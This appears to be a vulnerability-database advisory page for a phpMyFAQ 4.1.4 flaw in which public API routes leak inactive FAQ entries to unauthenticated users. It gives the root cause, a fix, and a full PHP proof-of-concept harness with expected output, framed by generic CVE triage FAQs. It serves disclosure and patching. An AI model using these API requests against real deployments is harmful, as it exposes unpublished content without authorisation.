How should we interpret CVSS severity scores?

CVSS estimates technical severity, but it does not automatically equal business risk. Prioritize using context like internet exposure, asset criticality, known exploitation, and whether compensating controls exist. A Medium CVSS on an exposed production system can be more urgent than a Critical on an isolated non-production host.

Vulnerability Database

Q: What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

Q: What's the difference between a vulnerability, an exploit, and a zero-day?

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. Risk increases sharply when exploitation becomes reliable or widespread.

Q: Why do vulnerabilities keep reappearing in our environment?

Recurring findings usually come from incomplete asset discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host.

Q: How do we prioritize remediation without burning out the team?

Use a repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress so remediation is steady, not reactive.

Q: How can SynScan help reduce vulnerability risk over time?

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390,645

Total vulnerabilities in the database

phpMyFAQ public FAQ APIs expose inactive FAQ content — thorsten / phpmyfaq

Exposure of Sensitive Information to an Unauthorized Actor

Affected Product

phpMyFAQ

Affected Versions

Confirmed affected: 4.1.4, API v3.1.
Confirmed affected: current main / 4.2-style source, API v4.0, for GET /api/v4.0/faqs/tags/{tagId} when api.onlyActiveFaqs=true.

Patched Versions

4.1.5.

Description

The public FAQ API applies inconsistent active = 'yes' filtering across endpoints. A FAQ entry marked active = 'no' is hidden from GET /api/v3.1/faqs/{categoryId} in phpMyFAQ 4.1.4, but the same inactive FAQ can still be retrieved through public API routes:

GET /api/v3.1/faq/{categoryId}/{faqId} returns the inactive FAQ title and full answer.
GET /api/v3.1/faqs/tags/{tagId} returns the inactive FAQ title and answer preview.

On the current 4.2-style branch, api.onlyActiveFaqs=true hides inactive FAQs from list and direct-by-id endpoints, but GET /api/v4.0/faqs/tags/{tagId} still returns inactive FAQ title and preview because it calls Faq::getFaqsByIds() without active/date filtering.

Inactive FAQs are commonly used as drafts or review-only content, so these unauthenticated public API paths may disclose non-public content.

Root Cause

FaqController::getByCategoryId() calls Faq::getAllAvailableFaqsByCategoryId(), which filters:

fd.date_start &lt;= now
AND fd.date_end &gt;= now
AND fd.active = &#039;yes&#039;

FaqController::getByTagId() instead resolves record IDs through Tags::getFaqsByTagId() and then calls Faq::getFaqsByIds($recordIds).

Faq::getFaqsByIds() filters by record ID, language, and permission, but does not filter fd.active = 'yes' or publication date windows before returning record_title and record_preview.

In phpMyFAQ 4.1.4, FaqController::getById() calls Faq::getFaqByIdAndCategoryId(), which also lacks an inactive/publication-window filter and returns the full answer.

Proof of Concept

The attached PoC uses phpMyFAQ's real Composer autoloader, real public FaqController, and a temporary copy of tests/test.db.

Run from a local phpMyFAQ 4.1.4 source checkout after dependencies are installed and tests/test.db exists:

php poc_phpmyfaq_414_inactive_faq_api_exposure.php /path/to/phpMyFAQ-4.1.4

Expected output:

phpMyFAQ version: 4.1.4
Inserted FAQ: id=991414, active=no, anonymous-readable, category=991414, tag=991414

GET /api/v3.1/faqs/991414 status: 200
Category response contains inactive title: no

GET /api/v3.1/faq/991414/991414 status: 200
Direct-by-id response contains inactive full title+answer: yes

GET /api/v3.1/faqs/tags/991414 status: 200
Tag response contains inactive title+preview: yes

VERDICT: reproduced inactive FAQ exposure through public API controller paths.

Suggested Fix

Apply one consistent public visibility check across all public FAQ API routes:

fd.active = 'yes'
fd.date_start <= now
fd.date_end >= now

Suggested implementation options:

Add Faq::getActiveFaqsByIds(array $faqIds) and use it in public tag API routes.
Or add an $onlyActive / $publicOnly argument to Faq::getFaqsByIds() and default public controllers to enabled filtering.
Update Faq::getFaqByIdAndCategoryId() or the public controller wrapper so inactive records return 404 for unauthenticated public API requests.
Add regression tests with an inactive, anonymous-readable FAQ that has both category and tag relations.

Reporter Credit

Please credit:

Yaohui Wang

CVE Request

Because this is unauthenticated exposure of inactive / non-public FAQ content through public API endpoints in a supported release line, please consider assigning a GHSA and requesting a CVE if it meets the project's advisory criteria.

Full PoC Source

&lt;?php

declare(strict_types=1);

/*
 * PoC for phpMyFAQ 4.1.4 inactive FAQ exposure through public FAQ APIs.
 *
 * Usage from a phpMyFAQ 4.1.4 source checkout:
 *   php path/to/poc_phpmyfaq_414_inactive_faq_api_exposure.php /path/to/phpMyFAQ-4.1.4
 *
 * If no path is provided, the current working directory is used.
 *
 * This is a local-only defensive harness. It uses phpMyFAQ&#039;s real Composer
 * autoloader, real public API controller, and a temporary copy of tests/test.db.
 */

use phpMyFAQ\Configuration;
use phpMyFAQ\Controller\Api\FaqController;
use phpMyFAQ\Database;
use phpMyFAQ\Database\DatabaseDriver;
use phpMyFAQ\Language;
use phpMyFAQ\Strings;
use phpMyFAQ\System;
use phpMyFAQ\Translation;
use Symfony\Component\HttpFoundation\Request;
use Symfony\Component\HttpFoundation\Session\Session;
use Symfony\Component\HttpFoundation\Session\Storage\MockArraySessionStorage;

$repoRoot = $argv[1] ?? getcwd();
$repoRoot = realpath($repoRoot);
if ($repoRoot === false || !is_dir($repoRoot . &#039;/phpmyfaq&#039;)) {
    fwrite(STDERR, &quot;Usage: php &quot; . basename(__FILE__) . &quot; /path/to/phpMyFAQ-4.1.4\n&quot;);
    exit(2);
}

if (!is_file($repoRoot . &#039;/phpmyfaq/src/autoload.php&#039;)) {
    fwrite(STDERR, &quot;Missing phpmyfaq/src/autoload.php. Run composer install first.\n&quot;);
    exit(2);
}

if (!is_file($repoRoot . &#039;/tests/test.db&#039;)) {
    fwrite(STDERR, &quot;Missing tests/test.db. Run a phpMyFAQ PHPUnit test once to create it.\n&quot;);
    exit(2);
}

define(&#039;PMF_ROOT_DIR&#039;, $repoRoot . &#039;/phpmyfaq&#039;);
define(&#039;PMF_CONFIG_DIR&#039;, $repoRoot . &#039;/tests/content/core/config&#039;);
define(&#039;PMF_CONTENT_DIR&#039;, $repoRoot . &#039;/tests/content&#039;);
define(&#039;PMF_TEST_DIR&#039;, $repoRoot . &#039;/tests&#039;);
define(&#039;PMF_LOG_DIR&#039;, sys_get_temp_dir() . &#039;/phpmyfaq_414_inactive_faq_api_poc.log&#039;);
const IS_VALID_PHPMYFAQ = true;

$_SERVER[&#039;HTTP_HOST&#039;] = &#039;localhost&#039;;
$_SERVER[&#039;SERVER_NAME&#039;] = &#039;localhost&#039;;
$_SERVER[&#039;REQUEST_TIME&#039;] = time();

require PMF_ROOT_DIR . &#039;/src/constants.php&#039;;
require PMF_ROOT_DIR . &#039;/content/core/config/constants.php&#039;;
require PMF_ROOT_DIR . &#039;/translations/language_en.php&#039;;
require PMF_ROOT_DIR . &#039;/src/autoload.php&#039;;

function pocQuery(DatabaseDriver $db, string $sql): void
{
    $result = $db-&gt;query($sql);
    if ($result === false) {
        throw new RuntimeException(&#039;SQL failed: &#039; . $db-&gt;error() . &quot;\nSQL: &quot; . $sql);
    }
}

$tempDb = tempnam(sys_get_temp_dir(), &#039;pmf-414-api-poc-&#039;);
if ($tempDb === false || !copy($repoRoot . &#039;/tests/test.db&#039;, $tempDb)) {
    fwrite(STDERR, &quot;Cannot create temporary SQLite database.\n&quot;);
    exit(2);
}

try {
    Strings::init();
    Translation::create()
        -&gt;setTranslationsDir(PMF_ROOT_DIR . &#039;/translations&#039;)
        -&gt;setDefaultLanguage(&#039;en&#039;)
        -&gt;setCurrentLanguage(&#039;en&#039;)
        -&gt;setMultiByteLanguage();

    Database::setTablePrefix(&#039;&#039;);
    $db = Database::factory(&#039;pdo_sqlite&#039;);
    if (!$db instanceof DatabaseDriver) {
        throw new RuntimeException(&#039;Could not create PDO SQLite database driver.&#039;);
    }

    $db-&gt;connect($tempDb, &#039;&#039;, &#039;&#039;);

    $configuration = new Configuration($db);
    $configuration-&gt;getAll();
    $configuration-&gt;set(&#039;api.enableAccess&#039;, &#039;true&#039;);
    $configuration-&gt;set(&#039;main.currentVersion&#039;, System::getVersion());
    $configuration-&gt;set(&#039;main.language&#039;, &#039;en&#039;);
    $configuration-&gt;set(&#039;main.referenceURL&#039;, &#039;https://localhost/&#039;);
    $configuration-&gt;set(&#039;security.enableLoginOnly&#039;, &#039;false&#039;);
    $configuration-&gt;set(&#039;security.permLevel&#039;, &#039;basic&#039;);
    $configuration-&gt;set(&#039;records.numberOfRecordsPerPage&#039;, &#039;25&#039;);
    $configuration-&gt;getAll();

    $session = new Session(new MockArraySessionStorage());
    $language = new Language($configuration, $session);
    $language-&gt;setLanguageFromConfiguration(&#039;en&#039;);
    $configuration-&gt;setLanguage($language);

    $faqId = 991414;
    $tagId = 991414;
    $categoryId = 991414;
    $question = &#039;Inactive tagged API probe 4.1.4&#039;;
    $answer = &#039;This inactive FAQ preview is returned by the public tag API in phpMyFAQ 4.1.4.&#039;;

    pocQuery($db, sprintf(&#039;DELETE FROM faqdata_tags WHERE record_id = %d OR tagging_id = %d&#039;, $faqId, $tagId));
    pocQuery($db, sprintf(&#039;DELETE FROM faqtags WHERE tagging_id = %d&#039;, $tagId));
    pocQuery($db, sprintf(&#039;DELETE FROM faqdata_user WHERE record_id = %d&#039;, $faqId));
    pocQuery($db, sprintf(&#039;DELETE FROM faqdata_group WHERE record_id = %d&#039;, $faqId));
    pocQuery($db, sprintf(&#039;DELETE FROM faqvisits WHERE id = %d&#039;, $faqId));
    pocQuery($db, sprintf(&#039;DELETE FROM faqcategoryrelations WHERE record_id = %d&#039;, $faqId));
    pocQuery($db, sprintf(&#039;DELETE FROM faqdata WHERE id = %d&#039;, $faqId));

    pocQuery($db, sprintf(
        &quot;INSERT INTO faqdata
            (id, lang, solution_id, revision_id, active, sticky, keywords, thema, content, author, email, comment, updated, date_start, date_end, created, notes, sticky_order)
         VALUES
            (%d, &#039;en&#039;, %d, 0, &#039;no&#039;, 0, &#039;probe&#039;, &#039;%s&#039;, &#039;%s&#039;, &#039;Probe&#039;, &#039;[email protected]&#039;, &#039;y&#039;, &#039;20260601010101&#039;, &#039;00000000000000&#039;, &#039;99991231235959&#039;, &#039;2026-06-01 01:01:01&#039;, &#039;&#039;, 0)&quot;,
        $faqId,
        $faqId,
        $db-&gt;escape($question),
        $db-&gt;escape($answer),
    ));
    pocQuery($db, sprintf(
        &quot;INSERT INTO faqcategoryrelations (category_id, category_lang, record_id, record_lang)
         VALUES (%d, &#039;en&#039;, %d, &#039;en&#039;)&quot;,
        $categoryId,
        $faqId,
    ));
    pocQuery($db, sprintf(&#039;INSERT INTO faqdata_user (record_id, user_id) VALUES (%d, -1)&#039;, $faqId));
    pocQuery($db, sprintf(&quot;INSERT INTO faqvisits (id, lang, visits, last_visit) VALUES (%d, &#039;en&#039;, 0, 20260601010101)&quot;, $faqId));
    pocQuery($db, sprintf(&quot;INSERT INTO faqtags (tagging_id, tagging_name) VALUES (%d, &#039;probe-private-414&#039;)&quot;, $tagId));
    pocQuery($db, sprintf(&#039;INSERT INTO faqdata_tags (record_id, tagging_id) VALUES (%d, %d)&#039;, $faqId, $tagId));

    $controller = new FaqController();

    $categoryRequest = Request::create(&#039;/api/v3.1/faqs/&#039; . $categoryId, &#039;GET&#039;);
    $categoryRequest-&gt;attributes-&gt;set(&#039;categoryId&#039;, (string) $categoryId);
    $categoryResponse = $controller-&gt;getByCategoryId($categoryRequest);
    $categoryContainsProbe = str_contains((string) $categoryResponse-&gt;getContent(), $question);

    $directRequest = Request::create(&#039;/api/v3.1/faq/&#039; . $categoryId . &#039;/&#039; . $faqId, &#039;GET&#039;);
    $directRequest-&gt;attributes-&gt;set(&#039;categoryId&#039;, (string) $categoryId);
    $directRequest-&gt;attributes-&gt;set(&#039;faqId&#039;, (string) $faqId);
    $directResponse = $controller-&gt;getById($directRequest);
    $directContainsProbe = str_contains((string) $directResponse-&gt;getContent(), $question)
        &amp;&amp; str_contains((string) $directResponse-&gt;getContent(), $answer);

    $tagRequest = Request::create(&#039;/api/v3.1/faqs/tags/&#039; . $tagId, &#039;GET&#039;);
    $tagRequest-&gt;attributes-&gt;set(&#039;tagId&#039;, (string) $tagId);
    $tagResponse = $controller-&gt;getByTagId($tagRequest);
    $tagPayload = json_decode((string) $tagResponse-&gt;getContent(), true, 512, JSON_THROW_ON_ERROR);
    $tagContainsProbe = str_contains((string) $tagResponse-&gt;getContent(), $question)
        &amp;&amp; str_contains((string) $tagResponse-&gt;getContent(), &#039;inactive FAQ preview&#039;);

    echo &quot;phpMyFAQ version: &quot; . System::getVersion() . &quot;\n&quot;;
    echo &quot;Inserted FAQ: id={$faqId}, active=no, anonymous-readable, category={$categoryId}, tag={$tagId}\n\n&quot;;
    echo &quot;GET /api/v3.1/faqs/{$categoryId} status: &quot; . $categoryResponse-&gt;getStatusCode() . &quot;\n&quot;;
    echo &quot;Category response contains inactive title: &quot; . ($categoryContainsProbe ? &#039;yes&#039; : &#039;no&#039;) . &quot;\n\n&quot;;
    echo &quot;GET /api/v3.1/faq/{$categoryId}/{$faqId} status: &quot; . $directResponse-&gt;getStatusCode() . &quot;\n&quot;;
    echo &quot;Direct-by-id response contains inactive full title+answer: &quot; . ($directContainsProbe ? &#039;yes&#039; : &#039;no&#039;) . &quot;\n\n&quot;;
    echo &quot;GET /api/v3.1/faqs/tags/{$tagId} status: &quot; . $tagResponse-&gt;getStatusCode() . &quot;\n&quot;;
    echo &quot;Tag response contains inactive title+preview: &quot; . ($tagContainsProbe ? &#039;yes&#039; : &#039;no&#039;) . &quot;\n&quot;;
    echo json_encode($tagPayload, JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES) . &quot;\n\n&quot;;

    if (!$categoryContainsProbe &amp;&amp; $directContainsProbe &amp;&amp; $tagContainsProbe) {
        echo &quot;VERDICT: reproduced inactive FAQ exposure through public API controller paths.\n&quot;;
        exit(0);
    }

    echo &quot;VERDICT: not reproduced.\n&quot;;
    exit(1);
} finally {
    if (isset($tempDb) &amp;&amp; is_file($tempDb)) {
        @unlink($tempDb);
    }
}

Published: Aug 25, 2026
Updated: Aug 26, 2026
GHSA: GHSA-mf8r-wm2w-f8c5
Severity: Medium
Exploit:
CISA KEV:

CVSS v3:

Severity: Medium
Score: 5.3
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

CWEs:

Affected Software
References

Software	Affected versions
thorsten / phpmyfaq	`>= 4.1.0, < 4.1.5`
phpmyfaq / phpmyfaq	`>= 4.1.0, < 4.1.5`

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Frequently Asked Questions

What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.